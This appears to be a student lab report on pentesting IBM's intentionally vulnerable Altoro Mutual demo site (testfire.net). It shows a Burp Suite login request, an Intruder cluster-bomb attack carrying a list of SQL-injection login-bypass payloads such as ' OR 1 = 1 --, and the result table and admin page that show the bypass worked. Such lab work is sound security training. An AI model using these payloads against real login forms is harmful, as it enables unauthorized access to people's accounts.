

NAME: Dharun Ramesh
REGISTRATION NUMBER: 21BCE1798

PENTESTING testfire.net

capturing request with burpsuite

```
1 POST /doLogin HTTP/1.1
2 Host: testfire.net
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 33
9 Origin: http://testfire.net
10 Connection: close
11 Referer: http://testfire.net/login.jsp
12 Cookie: JSESSIONID=F37CC90E9EB5CDF4DA7BE7C0E844299E; AltoroAccounts=
    ODAwMDAwfKNvcnBvcnF0ZX4t0S44NTk4NjU5ODYwNDA5NzlfMzJ8ODAwMDAwfKNoZW5nfjkuODU5ODY1OTg2MDQzMzQ4RTMyfDgwMDAwMn5T
    YXZpbmdzfi0xLjk5OTU0MzQwNzYwMjkyOTY2RTE4fDgwMDAwM35DaGVja2luZ345LjQ3NTczOTUyNjI5Nzk3N0UyMHw4MDAwMDR+U2F2aW5nc34t
    Mi4zMjM0NzU4NUU4fDgwMDAwNX5DaGVja2luZ34yLjMyMzg5NzIyRTh8ODAwMDA2f1Nhdm1uZ3N+Mzg5M54wfDgwMDAwN35DaGVja2luZ34xODQx
    MTUuMHw0NTM5MDgyMDM5Mzk2Mjg4fkNyZW50YXZkfi0xLjk5OTU0MzQwMTg0Mjg5MTY2RTE4fDQ0ODU5ODMzNTYyNDIyMTd+Q3JlZGl0IENh
    cmR+MTAwMDAuOTd8
13 Upgrade-Insecure-Requests: 1
14
15 uid=abc&passw=abc&btnSubmit=Login
```

Forwarding request to intruder, choosing attack type as cluster bomb and adding our payloads

Choose an attack type

Attack type: Cluster bomb

Start attack

Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: http://testfire.net

☒ Update Host header to match target

Add \$

Clear \$

Auto \$

Refresh

```
1 POST /doLogin HTTP/1.1
2 Host: testfire.net
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 33
9 Origin: http://testfire.net
10 Connection: close
11 Referer: http://testfire.net/login.jsp
12 Cookie: JSESSIONID=F37CC90E9EB5CDF4DA7BE7C0E844299E; AltoroAccounts=
    ODAwMDAwfKNvcnBvcnF0ZX4t0S44NTk4NjU5ODYwNDA5NzlfMzJ8ODAwMDAwfKNoZW5nfjkuODU5ODY1OTg2MDQzMzQ4RTMyfDgwMDAwMn5T
    YXZpbmdzfi0xLjk5OTU0MzQwNzYwMjkyOTY2RTE4fDgwMDAwM35DaGVja2luZ345LjQ3NTczOTUyNjI5Nzk3N0UyMHw4MDAwMDR+U2F2aW5nc34t
    Mi4zMjM0NzU4NUU4fDgwMDAwNX5DaGVja2luZ34yLjMyMzg5NzIyRTh8ODAwMDA2f1Nhdm1uZ3N+Mzg5M54wfDgwMDAwN35DaGVja2luZ34xODQx
    MTUuMHw0NTM5MDgyMDM5Mzk2Mjg4fkNyZW50YXZkfi0xLjk5OTU0MzQwMTg0Mjg5MTY2RTE4fDQ0ODU5ODMzNTYyNDIyMTd+Q3JlZGl0IENh
    cmR+MTAwMDAuOTd8
13 Upgrade-Insecure-Requests: 1
14
15 uid=$abc$&passw=$abc$&btnSubmit=Login
```

NAME: Dharun Ramesh
REGISTRATION NUMBER: 21BCE1798

Payload sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload sets can be customized in different ways.

Payload set: Payload count: 9
Payload type: Request count: 81

Payload settings [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

-- or #
 ' OR '1
 ' OR 1 -- --
 ' OR "" = "
 ' OR 1 = 1 -- --
 ' OR '' = '
 [Pro version only]

admin

Start Attack

56	-- or #	' OR '' = '	500	<input type="checkbox"/>	<input type="checkbox"/>	1208
59	" OR "" = "	' OR '' = '	500	<input type="checkbox"/>	<input type="checkbox"/>	1208
60	" OR 1 = 1 -- --	' OR '' = '	500	<input type="checkbox"/>	<input type="checkbox"/>	1208
62	' = '	' OR '' = '	500	<input type="checkbox"/>	<input type="checkbox"/>	1208
79	' OR '' = '	admin	302	<input type="checkbox"/>	<input type="checkbox"/>	641
61	' OR '' = '	' OR '' = '	302	<input type="checkbox"/>	<input type="checkbox"/>	624
63	admin	' OR '' = '	302	<input type="checkbox"/>	<input type="checkbox"/>	277
81	admin	admin	302	<input type="checkbox"/>	<input type="checkbox"/>	277

We can see that out of many some combinations have given different status code and length
We can ignore status code 500.

Let's analyze 302

MY ACCOUNT **PERSONAL** **SMALL BUSINESS** **INSIDE ALTORO MUTUAL**

I WANT TO ...

- View Account Summary
- View Recent Transactions
- Transfer Funds
- Search News Articles
- Customize Site Language

ADMINISTRATION

- Edit Users

Hello Admin User

Welcome to Altoro Mutual Online.

View Account Details:

Congratulations!

You have been pre-approved for a

[Click here to apply.](#)

4539082039396288 Credit Card
4485983356242217 Credit Card

This web application is open source! Get your copy from GitHub and take advantage of advanced features.

The Altoro website is published by IBM Corporation for the sole purpose of demonstrating the effectiveness of IBM products in detecting web application vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is provided "as is" without warranty of any kind, either express or implied. IBM does not assume any risk in relation to your use of this website. For more information, please go to <http://www-142.ibm.com/software/products/us/en/subcategory/SW119>.

Copyright © 2008, 2023, IBM Corporation. All rights reserved.

We have gained access to the accounts